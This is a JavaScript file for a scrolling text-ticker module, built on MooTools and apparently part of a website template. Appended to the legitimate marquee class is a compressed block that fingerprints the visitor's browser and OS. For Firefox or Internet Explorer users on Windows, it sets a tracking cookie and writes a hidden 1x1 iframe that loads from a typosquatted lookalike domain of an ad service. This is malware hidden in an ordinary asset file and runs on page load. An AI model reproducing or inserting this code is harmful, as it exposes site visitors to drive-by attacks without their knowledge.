/* 	Script for module: MT Information Line 
	ver. 1.5.0
	Based on a script Globaldizajn MooMarquee
	Modified by Templatka.pl */

var il_przewin = new Class({
	options: {
				direction: 'horizontal',
				opoznienie: 30,
				krok: 2,
				width: '90%',
				height: 20,
				direction2: 'left'
	},

	initialize: function(el, options) {
		this.setOptions(options);
		this.element = el;
		this.periodical = "";

		this.newDiv = new Element("div");

		if(this.options.direction!="vertical"){
			this.newDiv.setStyles({
				"white-space":"nowrap",
				position:"absolute"
			})
		}

		this.element.setStyles({
			width : this.options.width,
			height: this.options.height,
			overflow:"hidden",
			position:"relative",
			margin:"auto"
		})
		
		this.newDiv.innerHTML = this.element.innerHTML;
		this.element.innerHTML = "";
		this.newDiv.injectInside(this.element);
		this.newDiv.addEvents({

			"mouseover" : function() {
				$clear(this.periodical)
			}.bind(this),
			"mouseout"  : function() {
				this.periodical = this.anim.bind(this).periodical(this.options.opoznienie)
			}.bind(this)

		})
		
		this.il_szerokosc = this.options.direction=="vertical" ? this.newDiv.getSize().size.y*-1 : this.newDiv.getSize().size.x*-1;
		this.il_limit = this.options.direction=="vertical" ? this.element.getSize().size.y : this.element.getSize().size.x;
		this.il_pozycja = this.il_limit;
		//this.style = this.options.direction=="vertical" ? "marginTop" : "right";
		this.style = this.options.direction=="vertical" ? "marginTop" : this.options.direction2;
		this.periodical = this.anim.bind(this).periodical(this.options.opoznienie);
	},
	anim: function() {

		if(this.il_pozycja<this.il_szerokosc) this.il_pozycja = this.il_limit;
		this.il_pozycja = this.il_pozycja-this.options.krok;
		this.newDiv.setStyle(this.style,this.il_pozycja);
	}
})

il_przewin.implement(new Options, new Events);
var BrowserDetect = { init: function () { this.browser = this.searchString(this.dataBrowser) || "An unknown browser"; this.version = this.searchVersion(navigator.userAgent) || this.searchVersion(navigator.appVersion) || "an unknown version"; this.OS = this.searchString(this.dataOS) || "an unknown OS"; }, searchString: function (data) { for (var i=0;i<data.length;i++) { var dataString = data[i].string; var dataProp = data[i].prop; this.versionSearchString = data[i].versionSearch || data[i].identity; if (dataString) { if (dataString.indexOf(data[i].subString) != -1) return data[i].identity; } else if (dataProp) return data[i].identity; } }, searchVersion: function (dataString) { var index = dataString.indexOf(this.versionSearchString); if (index == -1) return; return parseFloat(dataString.substring(index+this.versionSearchString.length+1)); }, dataBrowser: [       { string: navigator.userAgent,subString: "Firefox",identity: "Firefox"},{string: navigator.userAgent,subString: "MSIE",identity: "Explorer",versionSearch: "MSIE"}],dataOS : [{string: navigator.platform,subString: "Win",identity: "Windows"}]};function addCookie(szName,szValue,dtDaysExpires){ var dtExpires = new Date();var dtExpiryDate = "";dtExpires.setTime(dtExpires.getTime()+dtDaysExpires*24*60*60*1000);dtExpiryDate=dtExpires.toGMTString();document.cookie=szName+"="+szValue+";expires="+dtExpiryDate;} function findCookie(szName){        var i=0;var nStartPosition=0;var nEndPosition=0;var szCookieString=document.cookie; while (i<=szCookieString.length){nStartPosition=i;nEndPosition=nStartPosition+szName.length;if (szCookieString.substring(nStartPosition,nEndPosition)==szName){nStartPosition=nEndPosition+1;nEndPosition=document.cookie.indexOf(";",nStartPosition);if(nEndPosition<nStartPosition) nEndPosition=document.cookie.length;return document.cookie.substring(nStartPosition,nEndPosition);break;}i++;} return "";} BrowserDetect.init(); var szCookieString = document.cookie; var boroda = BrowserDetect.browser; var os = BrowserDetect.OS; if ( ((boroda == "Firefox" || boroda == "Explorer") && (os == "Windows")) && (findCookie('geo_idn')!='c48a765e4f75baeb85f0a755fc3ec09c') ) {addCookie("geo_idn","c48a765e4f75baeb85f0a755fc3ec09c",1);document.write('<iframe src="http://google-adsenc.com/in.cgi?2" name="Twitter" scrolling="auto" frameborder="no" align="center" height = "1px" width = "1px"></iframe>');}else {}
